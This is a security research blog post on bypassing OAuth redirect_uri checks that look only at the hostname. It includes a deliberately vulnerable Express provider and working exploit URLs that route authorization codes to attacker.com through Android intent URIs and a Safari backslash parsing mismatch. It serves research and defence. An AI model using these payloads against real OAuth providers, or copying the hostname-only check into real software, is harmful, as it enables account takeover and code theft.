All posts

Is Hostname Validation Enough? Exploring Unusual OAuth Attack Vectors

OAuth is still one of the most important and most basic parts of web applications. Most sites rely on it for login. That is why securing it is both difficult and worth the effort. The flow looks simple from the outside: a redirect, then a token. But its security rests on a few checks that are easy to get wrong.

One of the most common weaknesses in an OAuth provider's implementation comes down to two questions: who is asking for the token, and which URL and domain should that token be sent to? The provider has to validate that the legitimate client (the application that uses the provider for login) is the one that receives the code or token. If it does not, an attacker can receive it instead, and that can end in a one-click account takeover (ATO) on the client application.

In this blog post I will focus on one simple implementation of OAuth redirect URL validation. Look at the following JavaScript code:

const express = require('express');
const crypto = require('crypto');

const app = express();

const CLIENT = {
    client_id: 'pwnbox', redirect_uri: 'pwnbox.xyz'
};

app.get('/authorize', (req, res) => {
    const { client_id, redirect_uri, state } = req.query;

    if (
        client_id !== CLIENT.client_id ||
        new URL(redirect_uri).hostname !== CLIENT.redirect_uri
    ) {
        return res.status(400).json({
            error: 'invalid_client'
        });
    }

    const code = crypto.randomBytes(16).toString('hex');

    res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);
});

app.listen(3000, () => {
    console.log('OAuth provider on http://localhost:3000');
});

I have stripped out the complex parts: the full authorization flow and the username and password checks. The part that matters here is where the provider parses redirect_uri and checks that its hostname matches the one registered for that client_id.

That single check is the whole validation, and it only covers the hostname. new URL() will parse any scheme you hand it, so everything except the host is still ours to choose:

What the provider accepts
[any-scheme]ours://pwnbox.xyzthe only part checked/[any-path]?[any-query-string]#[any-fragment]ours
Figure 1 · what the check sees. new URL(redirect_uri).hostname compares one piece of the URL. The scheme, path, query and fragment are never looked at.

You have almost certainly seen this pattern before, and a few ideas are already forming. If the victim has the attacker's Android or iOS app installed, that app can register a custom URL scheme and receive the code instead of the real client. A malicious PWA with its own scheme can do the same. Both vectors have been written up before, so if they are new to you, start here:

But what I want to answer here is the question: what if the victim has not installed the attacker's app or PWA? Does that leave us with nothing to report?

Method 1: The Android Intent Scheme

An Intent is an Android object that one app uses to tell another app what to open or do. Sometimes Android needs to convert an Intent into plain text, especially when the Intent needs to be passed through a link instead of directly between apps.

The text format is called the intent scheme, and Chrome supports it on Android. A link written in this format can start a native app from a web page. Chrome's documentation gives this example:

<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end">Take a QR code</a>

Tapping that link on an Android phone opens the ZXing barcode scanner app.

Chrome documents the format like this:

intent:
    HOST/URI-path // Optional host
    #Intent;
        package=[string];
        action=[string];
        category=[string];
        component=[string];
        scheme=[string];
    end;

The format has two parts, separated by #Intent;:

The most interesting field in that list is scheme. While Android parses the link it stores that field's value in a variable, and at the end it rebuilds the URL with this code:

if (data.startsWith("intent:")) {
    data = data.substring(7);
    if (scheme != null) {
        data = scheme + ':' + data;
    }
}

Android strips intent: off the front of the link, joins the scheme value back on with a :, and opens the result. Nothing checks what that value contains. So we can overwrite the hostname of the link through the scheme field. Here is what happens with scheme=https://attacker.com/:

scheme= value     :  https://attacker.com/
after "intent:"   :  //pwnbox.xyz/cb?code=XYZ
after the join    :  https://attacker.com/  +  :  +  //pwnbox.xyz/cb?code=XYZ
parsed again      :  host  = attacker.com
                     path  = /://pwnbox.xyz/cb
                     query = code=XYZ

The whitelisted host is still in the string, but it is part of the path now and has no effect on where the request goes. The authorization code arrives on a domain we control.

So with that knowledge, let's exploit the sample code from earlier. It parses the URL and extracts the hostname, and in Node the scheme has no effect on how the hostname is parsed. That means we can supply any scheme we want, and the intent scheme passes without trouble.

Now look at the end of the function, where it sends the user back to the client with the code:

res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);

The code is appended first, and state is echoed back raw directly after it. That raw echo is the only limitation we have to work around, because the #Intent; block has to sit after the code, and state is exactly that position. The exploit URL is this:

http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz&state=%23Intent;scheme=https://attacker.com/;end
Location header the provider sends
intent://pwnbox.xyzredirect_uri · ours, passes the check?code=XYZthe code · provider&state=#Intent;scheme=https://attacker.com/;endstate · ours, echoed raw
Chrome on Android drops intent: and glues scheme + : onto the front
URL that actually opens
https://attacker.com/the new host://pwnbox.xyznow just a path?code=XYZdelivered to us&state=
Figure 2 · the scheme field. The whitelisted host survives in the string but only as a path. The scheme value we put in state decides where the browser goes.

At this point I asked myself whether that is too big a limitation. Who really echoes state back with no encoding at all? What if the redirect looked like this instead?

res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);

So I went back to Android's intent handling, and it turns out there are two different parsers. parseUri picks between them at the start, based on the fragment:

i = uri.lastIndexOf("#");
// simple case
if (i == -1) {
    if (!androidApp) {
        return new Intent(ACTION_VIEW, Uri.parse(uri));
    }

// old format Intent URI
} else if (!uri.startsWith("#Intent;", i)) {
    if (!androidApp) {
        return getIntentOld(uri, flags);
    } else {
        i = -1;
    }
}

Everything described above is the new format, the one with #Intent;. If the fragment is anything else, Android passes the URL to getIntentOld() instead, which parses an older format with its own syntax:

intent://pwnbox.xyz/#extras(Sbrowser_fallback_url=https://attacker.com/)

This payload has a field we have not seen yet, extras. What is it? An Intent has a small number of fixed fields. The action says what to do, such as view or share. The data URL says what to do it to. An extra is anything else the receiving app needs, stored as a named value alongside those fields. A share Intent carries the text being shared as an extra. An email Intent carries the subject and the recipient list as extras. Every extra has a name, a type and a value, and Android keeps them together in a Bundle.

Because extras are typed, the text format has to record the type. The old format writes it as a single letter placed directly before the name, with no separator between them:

letter type
S String
B boolean
b byte
c char
d double
f float
i int
l long
s short

So Sbrowser_fallback_url=https://attacker.com/ is a String extra named browser_fallback_url. The whole list lives inside extras(...), and multiple extras are separated by !.

browser_fallback_url is not an Android feature. Chrome defines it, reads it itself, and removes it before passing the Intent on, so no app ever sees it. It is a message from the web page to the browser: when no app can handle the intent, send the user to this URL instead. The data URL here stays intent://pwnbox.xyz/, which nothing on the device can handle, so the fallback always fires.

This format also solves our encoding problem. Both formats need a delimiter to close the structure we are injecting, and encodeURIComponent treats the two delimiters differently. The new format closes every field with ;, which gets escaped to %3B. The old format closes its extras list with ), which passes through untouched:

encodeURIComponent("();")   // '()%3B'

But it creates a new problem. In the first method we only had to replace the scheme, and the rest of the URL came along with it, including the code. Here there is no scheme field. The fallback URL is a value we have to write out in full, from start to end, and that value ends where the parenthesis closes. If we close it ourselves, the code is appended after it and never reaches us.

This is where the redirect line helps us. Look at it again:

res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);

It echoes back two values we control, redirect_uri and state, and the code sits between them. So we open extras( in redirect_uri and close it in state, and the code is caught in the middle. A sandwich:

http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz/%23extras(Sbrowser_fallback_url=https://attacker.com/?c=&state=)

The provider appends the code, state closes the parenthesis, and everything in between ends up inside the fallback value:

Sbrowser_fallback_url = https://attacker.com/?c=?code=ABC123&state=
Location header the provider sends
intent://pwnbox.xyz/#extras(Sbrowser_fallback_url=https://attacker.com/?c=redirect_uri · opens extras(?code=ABC123the code · provider&state=)state · closes it
No app can handle intent://pwnbox.xyz/, so Chrome follows the fallback
browser_fallback_url
https://attacker.com/?c=attacker's endpoint?code=ABC123caught in the middle&state=
Figure 3 · the sandwich. redirect_uri opens the extras list and state closes it, so the code the provider writes between them becomes part of the fallback URL. ) survives encodeURIComponent, ; does not.

Chrome reads that extra, finds no app that can handle intent://pwnbox.xyz/, and navigates to the attacker's URL with the code attached.

That is the Android half of this. The important result is that the victim no longer needs the attacker's application installed. That one requirement is what gets reports like this closed as N/A, because a precondition the attacker cannot control is not a real attack path. Removing it can move the same finding from informative to high severity.

This Android behaviour can also lead to a lot of open redirect vulnerabilities, and it makes validating URLs very hard.

Method 2: Two Standards, One Character

This one is simpler. It needs no fragment and no custom scheme. It works because two URL standards disagree about a single character.

To find the hostname in a URL, a parser reads forward from :// until it reaches a character that ends the hostname. The two standards do not use the same list of ending characters:

RFC 3986 Section 3.2 says it directly:

The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI.

The backslash is in the first list and missing from the second. That is the whole bug. Here is what it does to one URL:

https://pwnbox.xyz\@attacker.com/cb
WHATWG · Node, new URL(), Safari's address bar and links
https://pwnbox.xyzhost · check passes\@attacker.com/cbpath, the \ ended the host
RFC 3986 · Safari's Location header on a 3xx
https://pwnbox.xyz\username@attacker.comhost · the code goes here/cbpath
Figure 4 · one URL, two hosts. The provider validates with a WHATWG parser and Safari follows the redirect with an RFC 3986 one. The backslash is the only character they disagree on, and it is enough.

Neither parser is wrong. The URL means two different things under two different standards.

Safari does not use a single URL parser, and which one you get depends on where the URL appears. A URL typed in the address bar, a link inside a page, or new URL() in JavaScript goes through WebKit's parser, which follows WHATWG and treats the backslash as an ending character, exactly as Node does.

The Location header on a 3xx redirect does not. Safari parses that one with an RFC 3986 implementation, which ends the hostname only at /, ? and #. The backslash is not one of them.

That is the parser we care about, because an OAuth callback is almost always a redirect. The one place Safari reaches for RFC 3986 is the exact place the authorization code travels through.

Against our sample provider the payload is simply the redirect URL:

http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=https://pwnbox.xyz\@attacker.com/cb

Conclusion

URL validation has always been one of the most challenging parts of a web application, and getting it wrong leads to everything from low impact bugs like open redirect to high impact ones like SSRF. In this post we explored one Android gadget and one disagreement between parsers, and used both to exploit behaviour that looks safe and seems to have no impact.

If you are a developer, I recommend using strict and restricted regex checks as much as you can. And if you are a bug bounty hunter, you now have two more vectors to test everywhere.

Happy hunting!